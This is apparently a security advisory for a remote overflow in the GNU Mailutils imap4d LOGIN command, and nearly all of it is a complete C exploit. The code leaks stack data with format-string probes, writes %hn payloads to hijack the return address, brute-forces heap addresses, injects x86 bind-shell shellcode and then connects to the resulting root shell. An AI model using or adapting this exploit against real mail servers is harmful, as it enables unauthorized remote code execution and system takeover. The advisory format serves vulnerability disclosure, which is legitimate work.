imap4d Buffer Overflow (LOGIN, Exploit)Summary
"GNU Mailutils is a collection of mail-related utilities. At the core of Mailutils is libmailbox, a library which provides access to various forms of mailbox files (including remote mailboxes via popular protocols). It also provides support for parsing of RFC-822 style messages and MIME support."
A buffer overflow in GNU Mailutils imap4d allow attackers to execute arbitrary code by overflowing the product's LOGIN directive.
Credit:
The information has been provided by Johnny Mast.
Details
Exploit:
/*
* Copyright (c) 2005 Rosiello Security
* http://www.rosiello.org
*
* Permission is granted for the redistribution of this software
* electronically. It may not be edited in any way without the express
* written consent of Rosiello Security.
*
* Disclaimer: The author published the information under the condition
* that is not in the intention of the reader to use them in order to bring
* to himself or others a profit or to bring to others damage.
*
* --------------------------------------------------------------------------
*
* Author: Johnny Mast
* e-mails: rave at rosiello.org
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
//#define DEBUG
#define RETADDR (0x805d922)
#define SHELL_PORT "34563"
#define SHELL_COMMAND "uname -a; id;"
#define PORT_OFFSET 20
#define ARG_1_LENGH 180
#define ARG_3_LENGH 315
char shellcode[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd"
"\x80\x31\xd2\x52\x66\x68\x13\xd2\x43\x66\x53\x89\xe1\x6a"
"\x10\x51\x50\x89\xe1\xb0\x66\xcd\x80\x40\x89\x44\x24\x04"
"\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x75"
"\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
void prepare(char *arg){
int port=htons(atoi(arg)), p1, p2;
p2 = (port & 0xff00) >> 8;
p1 = (port & 0x00ff);
shellcode[PORT_OFFSET] = p1;
shellcode[PORT_OFFSET+1] = p2;
printf("Shellcode lenght=%d; port=%d\n", strlen(shellcode), atoi(arg));
}
struct framep {
int addr;
unsigned short dpa_offset;
};
struct targ{
unsigned int retloc; /* the eip */
/*
* possible retaddrs, we have to bruteforce a
* little bit to find the username field on heap
*/
int pretaddr[10];
int ret_count;
struct framep ebps[8];
int ebp_count;
int use_ebp1;
int use_ebp2;
unsigned short ebp1_offset; /* DPA offset of the first ebp */
unsigned short ebp2_offset;
unsigned short retl_high_offset; /* DPA offset of high part of the retloc */
unsigned short retl_low_offset;
} target;
void usage(char *a){
int i;
printf("[-] Usage: %s -h <host> [options]\n", a);
printf("[!] Options:\n");
printf("\t\t-h\tHostname which you want attack (required)\n");
printf("\t\t-p\tPort of the imapd (default: 143)\n");
printf("\t\t-s\tHow long to sleep before try connect to shell (default: 1)\n");
exit(1);
}
int sockprintf(int sock, const char *s, ...){
char *ptr;
int bytes;
va_list arg;
va_start(arg, s);
if(vasprintf(&ptr, s, arg) == -1){
free(ptr);
return -1;
}
va_end(arg);
if((bytes = send(sock, ptr, strlen(ptr), 0)) == -1){
free(ptr);
return -1;
}
free(ptr);
return bytes;
}
int statusf(const char *s, ...){
va_list arg;
va_start(arg, s);
vprintf(s, arg);
fflush(stdout);
}
int resolv(struct sockaddr_in *addr, char *hostn){
struct hostent *host;
if (!inet_aton(hostn, &addr->sin_addr)){
host = gethostbyname(hostn);
if (host == NULL){
printf("[-] Wasnt able to resolve %s!\n", hostn);
return -1;
}
addr->sin_addr = *(struct in_addr*)host->h_addr;
}
}
int conn(struct sockaddr_in addr, int port){
int sock;
if((sock = socket(PF_INET, SOCK_STREAM, 0)) == -1){
return -1;
}
addr.sin_port = htons(port);
addr.sin_family = AF_INET;
if (connect(sock, (struct sockaddr*)&addr, sizeof(addr)) == -1){
return -1;
}
return sock;
}
int get_shell(struct sockaddr_in addr, int port, int sleeps){
int sock;
char buffer[1024];
fd_set fds;
sleep(sleeps);
if((sock = conn(addr, port)) == -1)
return (-1);
printf("[+]\n[+] Wooohooo we got a shell!\n");
sockprintf(sock, SHELL_COMMAND"\r\n");
while(1){
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(sock, &fds);
if (select(255, &fds, NULL, NULL, NULL) == -1){
fprintf(stderr,"[-] sending failed\n");
close(sock);
exit(1);
}
memset(buffer, 0x0, sizeof(buffer));
if (FD_ISSET(sock, &fds)){
if (recv(sock, buffer, sizeof(buffer), 0) == -1){
fprintf(stderr, "[-] Connection closed by remote host!\n");
close(sock);
exit(1);
}
fprintf(stderr, "%s", buffer);
}
if (FD_ISSET(0, &fds)){
read(0, buffer, sizeof(buffer));
write(sock, buffer, strlen(buffer));
}
}
return 0;
}
void status(int retloc, int retloc2, int retaddr){
static int i=1;
switch(i){
case 1:
printf("[|] ");
break;
case 2:
printf("[/] ");
break;
case 3:
printf("[-] ");
break;
case 4:
printf("[\\] ");
i = 0;
break;
}
printf("Trying retlocs [0x%x - 0x%x] retaddr [0x%x]\r", retloc, retloc2, retaddr);
fflush(stdout);
i++;
}
void gen_req2(char *buffer, unsigned int size, unsigned short count){
unsigned short high, low;
high = (target.pretaddr[count] & 0xffff0000) >> 16;
low = (target.pretaddr[count] & 0x0000ffff);
memset(buffer, 0x0, size);
snprintf(buffer, size, "%%.%uu%%%d$hn%%.%uu%%%d$hn",
high, target.retl_high_offset, (low-high), target.retl_low_offset, shellcode);
buffer[size-1] = 0x0;
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen...\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, 135 - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x90, 353);
if(strlen(shellcode) > 350){
printf("[-] The shellcode (%d bytes) is too big, maximal size is 350\n", strlen(shellcode));
exit(-1);
}
memcpy(buffer + strlen(buffer) - strlen(shellcode) - 2, shellcode, strlen(shellcode));
buffer[strlen(buffer)] = ' ';
strncat(buffer, "BBBB", size - strlen(buffer) - 1);
}
void gen_req1(char *buffer, unsigned int size){
unsigned short retl;
retl = (target.retloc & 0x0000ffff);
memset(buffer, 0x0, size);
snprintf(buffer, size, "%%.%uu%%%d$hn__%%%d$hn",
retl, target.ebps[target.ebp_count - 2].dpa_offset, target.ebps[target.ebp_count - 1].dpa_offset);
buffer[size-1] = 0x0;
if(strlen(buffer) > 135){
printf("[-] get_info failed, this really shouldnt happen, wtf did you do?\n");
exit(-1);
}
memset(buffer + strlen(buffer), 0x41, ARG_1_LENGH - strlen(buffer));
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}
void gen_info_req(char *buffer, unsigned int size, int offset){
int i;
memset(buffer, 0x0, size);
if(offset == 0)
for(i = 0; i < 60; i++)
strncat(buffer, "_%p", size - strlen(buffer) - 1);
else
for(i = 0; i < 30; i++)
snprintf(buffer + strlen(buffer), size - strlen(buffer), "_%%%d$p", offset+i);
strncat(buffer, " LOGIN ", size - strlen(buffer) - 1);
memset(buffer + strlen(buffer), 0x41, ARG_3_LENGH);
strncat(buffer, " BBBB", size - strlen(buffer) - 1);
}
void get_infos(int sock){
char buffer[1024], ibuffer[1024], *ptr, *ptr2;
int i, j, bytes, ebp_count, ebps[10], ebp_tmp, offset, ret_tmp;
gen_info_req(ibuffer, sizeof(ibuffer), 0);
#ifdef DEBUG
printf("[D] Sending: %s\n", ibuffer);
#endif
if(sockprintf(sock, "%s\r\n", ibuffer) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;
#ifdef DEBUG
printf("[D] Recived: %s\n", buffer);
#endif
memset(&target, 0x0, sizeof(target));
ptr = buffer;
for(i = 1; (ptr = strchr(ptr, '_')); i++){
ptr++;
if(!strncmp(ptr, "0xbfff", 6) && target.ebp_count < 8){
ebp_tmp = strtoul(ptr,NULL,0);
if(!(ptr = strchr(ptr, '_'))){
i++;
continue;
}
ptr++;
i++;
if(strncmp(ptr, "0x80", 4) && strncmp(ptr, "0x080", 5)
&& strncmp(ptr, "0x40", 4) && strncmp(ptr, "0x040", 5))
continue;
for(j = 0; j < target.ebp_count; j++)
if(target.ebps[j].addr == ebp_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.ebps[target.ebp_count].addr = ebp_tmp;
target.ebps[target.ebp_count].dpa_offset = i - 1;
#ifdef DEBUG
printf("[D] Found possible ebp: %p offset: %d\n",
target.ebps[target.ebp_count].addr, target.ebps[target.ebp_count].dpa_offset);
#endif
target.ebp_count++;
continue;
}
/*
* In the function util_do_command a pointer to the username is stored. username
* points to the second "word" of the string which we send. if we send always a
* string and with 4 "words", which have in each request the same lengh,
* (word 1: 135bytes, string " LOGIN ", word 3: 353 bytes and word 4: 4 bytes,
* we will get always the same chunk of memory from malloc. So the address where
* username points to will always point to our 3. word, which will be in the last
* request our shellcode.
* The problem is, we know only that our string is on the heap, but there are a lot
* of pointers to addresses that could be the heap. so we just copy the first 10 pointers
* to 0x80* and try later each of them. bruteforcing 10 addresses wont take too long,
* But it will flood the logs :/
*/
if(target.ret_count < 10 && !strncmp(ptr, "0x80", 4) || !strncmp(ptr, "0x080", 5)){
ret_tmp = strtoul(ptr,NULL,0);
for(j = 0; j < target.ret_count; j++)
if(target.pretaddr[j] == ret_tmp)
ebp_tmp = 0x0;
if(ebp_tmp == 0x0)
continue;
target.pretaddr[target.ret_count] = ret_tmp;
#ifdef DEBUG
printf("[D] Added %p to the possible retaddr table\n", target.pretaddr[target.ret_count]);
#endif
target.ret_count++;
}
}
target.retloc = target.ebps[0].addr + 4;
target.use_ebp1 = target.ebp_count - 2;
target.use_ebp2 = target.ebp_count - 1;
#ifdef DEBUG
printf("[D] retloc: %p\n", target.retloc);
#endif
/*
* when we send this, the first two bytes of where target.ebp1 und target.ebp2 point to
* will be overwritten with the first to bytes of target.retloc and target.retloc+2.
* These can later be used to overwrite the saved eip of util_do_commands.
*/
gen_req1(buffer, sizeof(buffer));
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
#ifdef DEBUG
printf("[D] Sent: %s\n", buffer);
#endif
memset(buffer, 0x0, sizeof(buffer));
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0))){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
for(i = 0, offset = target.ebps[target.ebp_count - 2].dpa_offset; i < 4; i++){
gen_info_req(ibuffer, sizeof(ibuffer), offset);
sockprintf(sock, "%s\r\n", ibuffer);
#ifdef DEBUG
printf("[D] Sent ibuf: %s\n", ibuffer);
#endif
if((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) == -1){
printf("[-] Wasnt able to determine infos\n");
exit(-1);
}
buffer[bytes] = 0x0;
#ifdef DEBUG
printf("[D] Recived ibuf: %s\n", buffer);
#endif
ptr = buffer;
for(j = 1; (ptr = strchr(ptr, '_')); j++){
ptr++;
if(target.retl_low_offset == 0 && strtoul(ptr, NULL, 0) == target.retloc)
target.retl_low_offset = j + offset - 1;
else if(target.retl_high_offset == 0&& strtoul(ptr, NULL, 0) == target.retloc + 2 )
target.retl_high_offset = j + offset - 1;
}
#ifdef DEBUG
printf("rl low: %d rl high %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
if(target.retl_low_offset != 0 && target.retl_high_offset != 0)
break;
offset += 30;
}
if(target.retl_low_offset == 0 || target.retl_high_offset == 0){
printf("[-] Wasnt able to find retloc on stack\n");
exit(-1);
}
#ifdef DEBUG
printf("[D] Retloc low offset: %d Retloc high offset: %d\n", target.retl_low_offset, target.retl_high_offset);
#endif
}
int main(int argc, char **argv){
char *payload = NULL, *hostn = NULL, buffer[1024], *ptr;
int i, first, sock, opt, port = 143,
shell_port = atoi(SHELL_PORT), sleeps = 1,
p_size=10000, vulncheck = 1, bytes;
fd_set fds;
struct sockaddr_in addr;
int p1, p2, ip1, ip2, ip3, ip4, sport;
char *back = "192.168.1.2";
sport = atoi(SHELL_PORT);
printf("[!] mailutils imapd4d universal(?) exploit 0.5 by rave\n");
if (argc < 2)
usage(argv[0]);
while ((opt = getopt (argc, argv, "h:p:t:s:P:S:c:vV")) != -1){
switch (opt){
case 'h':
hostn = optarg;
break;
case 'p':
port = atoi(optarg);
if(port > 65535 || port < 1){
printf("[-] Port %d is invalid\n",port);
return 1;
}
break;
case 's':
sleeps = atoi(optarg);
break;
case 'P':
prepare(optarg);
break;
case 'c':
back = optarg;
break;
case 'V':
vulncheck = 0;
break;
default:
usage(argv[0]);
}
}
if(hostn == NULL)
usage(argv[0]);
resolv(&addr, hostn);
printf("[!] Connecting to %s\n", hostn);
if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
printf("[+] Connected!\n");
recv(sock, buffer, sizeof(buffer), 0);
get_infos(sock);
printf("[+] We got all infos, which we need, lets start!\n");
close(sock);
for(i = 0; i < target.ret_count; i++) {
statusf("[%d] Trying retaddr %p\r", i+1, target.pretaddr[i]);
if((sock = conn(addr, port)) == -1){
printf("[-] Connecting failed!\n");
return -1;
}
if(!(bytes = recv(sock, buffer, sizeof(buffer), 0))){
printf("[-] Wasnt able to recive data from server\n");
exit(-1);
}
gen_req1(buffer, sizeof(buffer));
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
gen_req2(buffer, sizeof(buffer), i);
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
sockprintf(sock, "%s\r\n", buffer);
while((bytes = recv(sock, buffer, sizeof(buffer) - 1, 0)) > 0){
buffer[bytes] = 0x0;
if(strstr(buffer, "\r\n"))
break;
}
#ifdef DEBUG
printf("[D] Press enter to continue\n");
getchar();
#endif
close(sock);
get_shell(addr, 5074, 1);
}
printf("[-] Exploit failed\n");
return 0;
}
/* EoF */